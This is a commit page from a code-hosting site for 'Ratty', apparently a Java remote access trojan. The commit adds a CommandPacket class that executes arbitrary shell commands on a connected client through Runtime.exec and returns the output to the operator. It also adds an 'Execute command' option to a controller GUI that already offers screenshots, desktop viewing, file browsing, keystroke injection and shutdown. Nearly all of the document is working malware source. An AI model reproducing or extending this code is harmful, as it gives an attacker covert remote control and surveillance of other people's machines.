Browse Source

Major changes

Added console command support
Other stuff
master
Sogomn 9 years ago
parent
commit
1286bead73
  1. BIN
      Ratty/res/icons.png
  2. 4
      Ratty/src/de/sogomn/rat/Ratty.java
  3. 89
      Ratty/src/de/sogomn/rat/packet/CommandPacket.java
  4. 3
      Ratty/src/de/sogomn/rat/packet/PacketType.java
  5. 12
      Ratty/src/de/sogomn/rat/packet/PopupPacket.java
  6. 18
      Ratty/src/de/sogomn/rat/server/gui/RattyGui.java
  7. 3
      Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java

BIN
Ratty/res/icons.png

Before

Width: 96  |  Height: 16  |  Size: 427 B

After

Width: 112  |  Height: 16  |  Size: 449 B

4
Ratty/src/de/sogomn/rat/Ratty.java

@ -29,8 +29,8 @@ public final class Ratty {
defaults.put("control", Color.GRAY);
defaults.put("nimbusBase", Color.BLACK);
defaults.put("text", Color.WHITE);
defaults.put("Table:\"Table.cellRenderer\".background", Color.GRAY);
defaults.put("Table.alternateRowColor", Color.LIGHT_GRAY);
defaults.put("Table:\"Table.cellRenderer\".background", new Color(50, 50, 50));
defaults.put("Table.alternateRowColor", new Color(75, 75, 75));
defaults.put("TextField.foreground", Color.BLACK);
try {

89
Ratty/src/de/sogomn/rat/packet/CommandPacket.java

@ -0,0 +1,89 @@
package de.sogomn.rat.packet;
import java.io.IOException;
import java.io.InputStream;
import de.sogomn.rat.ActiveClient;
import de.sogomn.rat.server.gui.RattyGui;
public final class CommandPacket extends AbstractPingPongPacket {
private String command;
private String output;
private static final String ERROR = "Command could not be executed.";
public CommandPacket(final String command) {
this.command = command;
type = REQUEST;
}
public CommandPacket() {
this("");
type = DATA;
}
@Override
protected void sendRequest(final ActiveClient client) {
client.writeUTF(command);
}
@Override
protected void sendData(final ActiveClient client) {
client.writeUTF(output);
}
@Override
protected void receiveRequest(final ActiveClient client) {
command = client.readUTF();
}
@Override
protected void receiveData(final ActiveClient client) {
output = client.readUTF();
}
@Override
protected void executeRequest(final ActiveClient client) {
try {
final Process process = Runtime.getRuntime().exec(command);
process.waitFor();
final InputStream in = process.getInputStream();
final byte[] buffer = new byte[in.available()];
in.read(buffer);
output = new String(buffer);
} catch (final IOException | InterruptedException ex) {
output = ERROR;
}
type = DATA;
client.addPacket(this);
}
@Override
protected void executeData(final ActiveClient client) {
RattyGui.showMessage(output);
}
public String getCommand() {
return command;
}
public String getOutput() {
return output;
}
public static CommandPacket create() {
final String input = RattyGui.getInput();
final CommandPacket packet = new CommandPacket(input);
return packet;
}
}

3
Ratty/src/de/sogomn/rat/packet/PacketType.java

@ -7,7 +7,8 @@ public enum PacketType {
SCREENSHOT(2, ScreenshotPacket.class),
KEY_EVENT(3, KeyEventPacket.class),
FREE(4, FreePacket.class),
INFORMATION(5, InformationPacket.class);
INFORMATION(5, InformationPacket.class),
COMMAND(6, CommandPacket.class);
public final byte id;
public final Class<? extends IPacket> clazz;

12
Ratty/src/de/sogomn/rat/packet/PopupPacket.java

@ -1,9 +1,7 @@
package de.sogomn.rat.packet;
import javax.swing.JDialog;
import javax.swing.JOptionPane;
import de.sogomn.rat.ActiveClient;
import de.sogomn.rat.server.gui.RattyGui;
@ -31,11 +29,7 @@ public final class PopupPacket implements IPacket {
@Override
public void execute(final ActiveClient client) {
final JOptionPane optionPane = new JOptionPane(message);
final JDialog dialog = optionPane.createDialog(null);
dialog.setModal(false);
dialog.setVisible(true);
RattyGui.showMessage(message);
}
public String getMessage() {
@ -43,7 +37,7 @@ public final class PopupPacket implements IPacket {
}
public static PopupPacket create() {
final String input = JOptionPane.showInputDialog(null);
final String input = RattyGui.getInput();
final PopupPacket packet = new PopupPacket(input);
return packet;

18
Ratty/src/de/sogomn/rat/server/gui/RattyGui.java

@ -8,8 +8,10 @@ import java.awt.event.MouseEvent;
import java.awt.image.BufferedImage;
import javax.swing.ImageIcon;
import javax.swing.JDialog;
import javax.swing.JFrame;
import javax.swing.JMenuItem;
import javax.swing.JOptionPane;
import javax.swing.JPopupMenu;
import javax.swing.JScrollPane;
import javax.swing.JTable;
@ -50,6 +52,7 @@ public final class RattyGui {
public static final String SCREENSHOT = "Take screenshot";
public static final String DESKTOP = "View desktop";
public static final String FILES = "Browse files";
public static final String COMMAND = "Execute command";
public static final String SHUTDOWN = "Shutdown device";
public static final String FREE = "Free client";
public static final String[] ACTION_COMMANDS = {
@ -57,6 +60,7 @@ public final class RattyGui {
SCREENSHOT,
DESKTOP,
FILES,
COMMAND,
SHUTDOWN,
FREE
};
@ -165,4 +169,18 @@ public final class RattyGui {
return lastIdClicked;
}
public static void showMessage(final String message) {
final JOptionPane optionPane = new JOptionPane(message);
final JDialog dialog = optionPane.createDialog(null);
dialog.setModal(false);
dialog.setVisible(true);
}
public static String getInput() {
final String input = JOptionPane.showInputDialog(null);
return input;
}
}

3
Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java

@ -5,6 +5,7 @@ import java.util.ArrayList;
import de.sogomn.rat.ActiveClient;
import de.sogomn.rat.IClientObserver;
import de.sogomn.rat.packet.CommandPacket;
import de.sogomn.rat.packet.FreePacket;
import de.sogomn.rat.packet.IPacket;
import de.sogomn.rat.packet.InformationPacket;
@ -55,6 +56,8 @@ public final class RattyGuiController implements IServerObserver, IClientObserve
return new FreePacket();
} else if (actionCommand == RattyGui.SCREENSHOT) {
return new ScreenshotPacket();
} else if (actionCommand == RattyGui.COMMAND) {
return CommandPacket.create();
}
return null;

Loading…
Cancel
Save